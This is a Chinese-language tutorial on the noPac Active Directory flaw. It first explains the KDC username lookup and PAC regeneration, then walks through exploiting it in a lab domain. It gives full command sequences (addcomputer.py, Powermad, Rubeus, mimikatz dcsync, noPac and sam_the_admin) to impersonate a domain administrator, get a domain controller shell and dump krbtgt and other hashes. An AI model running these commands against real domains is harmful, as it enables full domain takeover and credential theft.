noPac漏洞利用技术
漏洞原理
漏洞核心点
从下图的源码中关于kerberos的处理流程的内容可知,漏洞产生的核心原因是在处理Username字段时的错误,如果第一次查找不到Username,KDC会进行第二次查找,即在用户名后添加$查找机器用户Username$。

如果第二次还是查找不到,KDC会继续查找altSecurityIdentities属性为对应值的用户,如图所示:

正是因为这个处理逻辑,导致了漏洞的产生,因此攻击时需要使用以下方法让KDC找不到之前的用户作为触发:
- 跨域请求:跨域请求时,目标域活动目录数据库是找不到其他域的用户的,因此会进入这个处理UserName的逻辑。
- 修改saMAccountName属性:在当前域,可以通过修改saMAccountName属性让KDC找不到用户,然后进入这个处理UserName的逻辑。
Tips:以上仅仅是KDC进入这个处理UserName的逻辑,还不能伪造高权限。因为票据中代表用户身份权限是数据块是PAC,而TGT中的PAC是根据预认证身份信息生成的,无法伪造,因此得想办法在ST中进行伪造。正常的ST中的PAC是直接复制TGT中的,所以要让KDC在TGS-REP阶段重新生成PAC,而不是复制TGT中的PAC。这里有如下两种方式:
- S4U2Self请求:KDC在处理S4U2Self类型的TGS-REQ请求时,PAC是重新生成的。
- 跨域无PAC的TGT票据进行TGS请求:KDC在处理跨域的TGS-REQ请求时,如果携带的TGT认购权证中没有PAC,PAC会重新生成。
生成新的PAC
1、S4u2Self 请求PAC的生成
由于KDC收到客户端发来的TGS-REQ S4u2Self时,在验证了客户端是否具有发起S4U2Self协议的权限后,会根据S4U2Self协议中模拟的用户生成对应权限的PAC,然后放在ST中,并不会复用TGT中的PAC。
2、跨域无PAC的TGS请求生成
如果请求的TGT中没有PAC,且是当前域的请求,则ST服务票据也没有PAC,如果是其他域,则会重新生成一个PAC。
原理总结
这个漏洞的产生核心的原因是KDC在处理UserName字段时的问题,而后结合两种攻击链针对域内和跨域进行攻击。
-
当针对域内攻击时,结合了CVE-2021-42278漏洞来修改机器用户的saMAccountName属性,让KDC找不到用户,进入处理UserName的逻辑。 然后再利用KDC在处理S4U2Self时的逻辑问题(不校验发起S4U2Self请求的用户是否具有权限发起S4U2Self请求)以及重新生成PAC的这⼀特性来进行攻击。
-
当针对跨域攻击时,意义不大。因为需要修改其他域内高权限用户的altSecurityIdentities属性,而默认是没有权限修改的,只有根域管理员或者其他域的域管理员才有权限修改。当跨域TGS请求时,目标域控在AD数据库内是找不到其他域的用户的,因此进入处理UserName的逻辑。然后再利用跨域TGS-REQ请求时的处理逻辑(如果TGT票据中没有PAC,则重新生成)的特性来进行攻击的。
综上所述,这个漏洞针对跨域攻击的实战意义不大,针对域内攻击更有效。
漏洞利用流程
流程图解
针对漏洞的成功利用仅需要一个有效的普通域用户账户即可,漏洞流程图如图所示:

流程图说明如下:
- 利用SAMR协议创建无SPN的机器账户machine$
- 修改机器账户machine$的saMAccountName属性为DC
- 以DC账户请求TGT
- 将机器账户machine$的saMAccountName属性还原为machine$
- 利用S4u2Self协议以域管理员⾝份请求域控DC的服务,在请求中带上上⼀步的TGT。KDC⾸先会查询DC,发现没有该账户,然后会查询DC$,查询到了是域控,允许域控发起S4u2Self请求自身的服务。因此返回域管理员权限访问域服务的ST。
- 用高权限票据执行高权限的操作。
手动利用示例
实验环境如下:
- 域控DC:192.168.41.20
- 域控DC系统:Windows server 2012 R2
- 域有效用户:ginkgo\hack:Password123
1、创建机器账户
首先,可以使用一个有效的域用户创建一个域内机器账户。默认情况下,域内普通用户最多能创建10个机器账户,创建机器账户的数量由域的ms-MachineAccountQuota属性决定,该属性的值默认为10。
法一:Impacket脚本创建
使用其中的addcomputer.py脚本运行如下的命令利用SAMR协议远程新建一个域内机器账户machine$,密码为root:
python3 addcomputer.py -computer-name 'machine' -computer-pass 'root' -dc-ip <DC_IP> '<域名>/<AD_User>:<passwd>' -method SAMR -debug

通过这种创建的机器账户没有SPN:

法二:Powershell脚本创建
脚本下载地址:https://github.com/Kevin-Robertson/Powermad
使用PowerShell脚本在域内机器上运行如下的命令创建一个机器账户machine2$,密码为root:
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount machine2
setspn -L machine2 # 查询spn
通过这种方式创建的机器账户有SPN,如图所示:

清除机器账户的SPN
Tips:如果是通过addcomputer.py脚本创建的机器账户,则无需清除SPN;如果是通过Powershell脚本创建的机器账户,则需要清除SPN
使用PowerSploit>Recon>powerview.ps1脚本清除使用powershell脚本创建的机器账户machine2$的SPN:
Import-Module .\powerview.ps1
Set-DomainObject "CN=machine2,CN=Computers,DC=ginkgo,DC=com" -Clear 'serviceprincipalname' -Verbose

或者也可以使用addspn.py脚本执行如下的命令远程清除,只需要提供一个有权限的SPN账户即可:
#查询机器账户machine2$的SPN
python3 addspn.py -u '<域名>\<AD_User>' -p <password> -t 'machine2$' -q <DC_ip>
#清除机器账户machine2$的SPN
python3 addspn.py -u '<域名>\<AD_User>' -p <password> -t 'machine2$' -c <DC_ip>
Tips:清除SPN的原因是如果不清除该机器账户的SPN,当修改该机器账户的saMAccountName属性为DC时,此时该机器账户的SPN也会随之改变成对应的值。而域控已经有了该SPN了,同一域中SPN是单独且唯一的。因此不清除SPN修改该机器账户的saMAccountName属性为DC时,会提示该服务器不愿意处理该请求从而失败。
2、修改机器账户的saMAccountName 属性为域控
在创建机器账户machine2$的机器上执行如下的命令,修改机器账户machine2$的saMAccountName属性为域控机器名:
Import-Module .\Powermad.ps1
#查询机器账户的machine2$的saMAccountName 属性
Get-MachineAccountAttribute -MachineAccount machine2 -Attribute saMAccountName
#修改器账户的machine2$的 saMAccountName 属性为真实域控的机器名
Set-MachineAccountAttribute -MachineAccount machine2 -Value "<真实DC机器名>" -Attribute saMAccountName -Verbose

3、请求TGT
通过Rubeus.exe运行如下的命令请求TGT
Rubeus.exe asktgt /user:"<真实DC机器名>" /password:"root" /domain:"<域名>" /dc:"<DC机器名>.<域名>" /nowrap /ptt

4、修改机器账户的saMAccountName属性为非域控
将机器账户machine2$的saMAccountName属性修改为非域控,执行如下的命令,如图所示:
Import-Module .\Powermad.ps1
#查询机器账户的machine2$的saMAccountName 属性
Get-MachineAccountAttribute -MachineAccount machine2 -Attribute saMAccountName
#机器账户的machine2$的saMAccountName 属性修改为machine2$
Set-MachineAccountAttribute -MachineAccount machine2 -Value "machine2$" -Attribute saMAccountName -Verbose

5、请求高权限的ST
运行如下的命令发起S4u2Self协议请求以administrator身份访问ldap/DC.hack.com的ST,并导入内存:
Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/<DC机器名>.<域名>" /dc:"<DC机器名>.<域名>" /ptt /ticket:<base64编码的tgt内容>


6、导出域内用户的Hash
使用mimikatz运行如下的命令即可导出域内任意用户的Hash。
#导出用户Krbtgt的Hash
mimikatz.exe "lsadump::dcsync /domain:<域名> /user:krbtgt /csv" "exit"

工具利用示例
实验环境如下:
- 域控DC:192.168.41.20
- 域控DC系统:Windows server 2012 R2
- 域有效用户:ginkgo\hack:Password123
工具1:noPac.exe
运行如下的命令使用noPac.exe对目标域自动化漏洞利用:
noPac.exe -domain <域名> -user <AD_User> -pass <password> /dc <DC机器名>.<域名> /mAccount <要创建的机器账户名> /mPassword <要创建的机器账户密码> /service cifs /ptt
如图所示运行完成后生成票据并导入内存中:

然后直接使用mimikatz即可导出域内任意用户的Hash,比如导出krbtgt的hash:
mimikatz.exe "lsadump::dcsync /domain:<域名> /user:krbtgt /csv" "exit"

工具2:sam_the_admin
(1)获得域控权限
该工具获得域控权限的命令如下,如图所示,获得了域控DC的权限:
python3 sam_the_admin.py "<域名前缀>/<AD_User>:<passwd>" -dc-ip <DC_ip> -shell

(2)导出域内Hash
还可以使用该工具导出域内Hash的命令如下:
python3 sam_the_admin.py "<域名前缀>/<AD_User>:<passwd>" -dc-ip <DC_ip> -dump

工具3:noPac.py
检测目标是否存在漏洞:
python3 scanner.py -use-ldap <域名>/<AD_User>:"<passwd>" -dc-ip <DC_ip>

获取目标域控的shell:
python3 noPac.py -use-ldap <域名>/<AD_User>:"<passwd>" -dc-ip <DC_ip> -shell --impersonate administrator

获取目标域控所有账户的Hash值:
python3 noPac.py -use-ldap <域名>/<AD_User>:"<passwd>" -dc-ip <DC_ip> --impersonate administrator -dump


浙公网安备 33010602011771号